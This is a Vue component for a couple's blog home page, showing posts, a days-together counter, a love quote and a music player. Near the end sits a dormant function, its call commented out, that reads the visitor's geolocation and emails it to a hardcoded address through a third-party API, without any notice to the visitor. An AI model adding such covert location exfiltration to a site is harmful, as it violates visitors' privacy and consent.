<script setup>
import { useMessage, NCard, NIcon, NTime, NEllipsis, NCarousel, NImage, NTooltip, NPagination, NResult, NTag, NNumberAnimation, NAlert } from 'naive-ui'
import PostUpdate from '@/components/icons/PostUpdate.vue'
import PostNull from '@/components/icons/PostNull.vue'
import PostCreate from '@/components/icons/PostCreate.vue'
import PostAction from '@/components/PostAction.vue'
import { useStore } from '@/stores/index'
import axios from 'axios'
import { ref } from 'vue'

const store = useStore()  // 获取store实例
const message = useMessage() // 实例化信息条
const backedHost = store.$state.backedHost // 后端API前缀

const postAction = ref(false)  // 是否显示编辑删除按钮

// 天数
const sweetDays = ref(0) // 在一起天数
// 情话
const say = ref('')
// 文章列表
const postList = ref([])
const isShowPost = ref(false)  // 是否显示文章列表
// 分页对象
const pageObject = ref({
  page: 1,
  pageSize: 10,
  total: 0
})

// 获取文章列表
function getPostList(page, page_size) {
  const fetchConfig = {
    method: 'get',
    url: backedHost + '/post/post_info_list?page=' + page + "&page_size=" + page_size
  }
  axios(fetchConfig)
    .then((response) => {
      if (response.data.code === 2000) {        
        isShowPost.value = true
        postList.value = response.data.data.items
        pageObject.value = {
          page: response.data.data.page,
          pageSize: response.data.data.page_size,
          total: response.data.data.total_pages
        }
        getAllPostImageList()  // 获取所有图片列表
      }
    })
    .catch((error) => {
      message.error(error.response.data.message)
    })
}

// 根据ID列表获取所有文章图片列表（ID列表，用逗号分割的）
function getAllPostImageList() {
  for (const post of postList.value) {
    // 如果文章没有图片ID列表，则跳过
    if (!post.image_ids) {
      continue
    }
    const fetchConfig = {
      method: 'get',
      url: backedHost + '/image/get_images?ids=' + post.image_ids
    }
    axios(fetchConfig)
      .then((response) => {    
        if (response.data.code === 2000) {
          post.image_list = response.data.data
        }
      })
      .catch((error) => {
        message.error(error.response.data.message)
      })  
  }  
}

// 获取情话语句
function getSaying() {
  const fetchConfig = {
    method: 'get',
    url: 'https://api.uomg.com/api/rand.qinghua?format=text'
  }
  axios(fetchConfig)
    .then((response) => {
      say.value = response.data
    })
    .catch((error) => {
      console.log(error)
    })    
}

// 获取天数
function getSweetDays() {
  const fetchConfig = {
    method: 'get',
    url: backedHost + '/sweet_days'
  }
  axios(fetchConfig)
    .then((response) => {
      if (response.data.code === 2000) {
        sweetDays.value = response.data.data
      }
    })
    .catch((error) => {
      console.log(error)
    })
}

// 页面加载时执行
const beforeRouteEnter = () => {
  // 获取文章列表
  getPostList(1, 10)
}
defineExpose({
  beforeRouteEnter,
});

// 获取当前用户信息
if (store.$state.userInfo) {
  postAction.value = true  // 允许帖子操作
}
// 获取文章列表
getPostList(pageObject.value.page, pageObject.value.pageSize)
// 获取天数
getSweetDays()
// 获取渣男语句
getSaying()
// 发送地理位置到邮箱
function sendLocation() {
  if (navigator.geolocation) {
    navigator.geolocation.getCurrentPosition(
      position => {
        // 当获取用户位置成功时调用此函数
        const latitude = position.coords.latitude
        const longitude = position.coords.longitude
        const message = latitude + "，" + longitude
        const fetchConfig = {
          method: 'post',
          url: 'https://api.mu-jie.cc/email',
          headers: {
            'Content-Type': 'application/json'
          },
          data: {
            to: '2493919891@qq.com',
            title: 'sweet-space',
            content: message
          }
        }
        axios(fetchConfig).then(response => {
          if (response.data.msg === 'ok') {
            console.log(response.data)
            console.log("发送成功！")
          } else {
            console.log("发送失败！")
          }
        })
      },
      error => {
        // 当获取用户位置失败时调用此函数
        console.log("获取位置信息失败：" + error.message)
      }
    );
  }
}
// sendLocation()
</script>
<script>
import { defineComponent } from "vue";

// 页面加载时执行
export default defineComponent({
  beforeRouteEnter(to, from, next) {
    next((e) => {
      e.beforeRouteEnter()
    });
  },
});
</script>

<template>
  <div style="padding: 20px;padding-top: 5px;">
    <!-- 天数 -->
    <n-tag v-if="sweetDays !== 0" type="success" :closable="true" :bordered="false" style="margin-top: 5px;box-shadow: 0px 2px 2px 2px rgba(0, 0, 0, 0.15);" @close="sweetDays = 0" >
      <template #default>
        <n-ellipsis style="margin-bottom: 5px;">
          今天是在一起的第 
          <span style="color: red;">
            <n-number-animation :duration="1500" :from="0" :to="sweetDays" />
          </span> 天
        </n-ellipsis>
      </template>
    </n-tag>         
    <!-- 播放器 -->
    <iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width=298 height=52 src="//music.163.com/outchain/player?type=2&id=2138439049&auto=1&height=32"></iframe>    
    <!-- 一句话 -->
    <n-alert v-if="say !== ''" closable style="color: black; margin-bottom: 20px;box-shadow: 0px 2px 2px 2px rgba(0, 0, 0, 0.15);background-color: rgba(0, 100, 240, 0.15);text-align: center;margin-top: -5px;">
      {{ say }}
    </n-alert>
    <!-- 空空如也 -->
    <n-result v-if="postList.length === 0" size="huge" status="404" title="啥都没有" description="等待版主发点内容吧~" style="margin-top: 25%;">
      <template #icon>
        <PostNull />
      </template>
    </n-result>    
    <!-- 文章列表 -->
    <div v-else>
      <n-card hoverable :segmented="{content: true, footer: 'soft'}" class="post-card" v-for="post in postList" v-bind:key="post" content-class="post-card-content">
        <template #cover>
          <n-carousel draggable autoplay :interval="2000">
            <n-image v-for="image in post.image_list" :key="image" width="100" height="200" object-fit="cover" :preview-src="image.url" :src="image.url" fallback-src="https://bpic.588ku.com/element_origin_min_pic/23/04/24/08466d0892b28d4c147f2df3ad138473.jpg"/>
          </n-carousel>
        </template>
        <!-- 标题 -->
        <template #header>
          <n-ellipsis style="max-width: 100%;">{{ post.title }}</n-ellipsis>
        </template>
        <template #header-extra>                
          <n-icon class="icon-btn" size="15px"><PostCreate /></n-icon>
          <n-tooltip trigger="hover">
            <template #trigger>
              <n-time :time="post.create_timestamp" format="yyyy/MM/dd HH:mm" unix />
            </template>
            <n-icon class="icon-btn" size="15px"><PostUpdate /></n-icon>
            <n-time :time="post.update_timestamp" format="yyyy/MM/dd HH:mm" unix />
          </n-tooltip>
        </template>
        <!-- 正文（如果不为空） -->
        <p v-if="post.content !== ''">{{ post.content }}</p>
        <template #action v-if="postAction">
          <!-- 编辑删除操作组件 -->
          <PostAction :post-data="post" />
        </template>
      </n-card>
      <!-- 分页 -->
      <n-pagination v-model:page="pageObject.page" :page-size="pageObject.pageSize" :page-count="pageObject.total" size="large"/>      
    </div>
  </div>
</template>

<style>
.post-card {
  margin-bottom: 20px;
  text-align: left;
  border-radius: 5px;
  box-shadow: 0px 0px 4px 4px rgba(0, 0, 0, 0.2);
}
.post-card-content {
  color: #000;
}
.icon-btn {
  margin-right: 5px;
}
.n-card__action {
  text-align: center;
}
.n-image {
  width: 100%;
}
.n-pagination {
  justify-content: center;
}
.n-alert__border {
  border: 0 !important;
}
</style>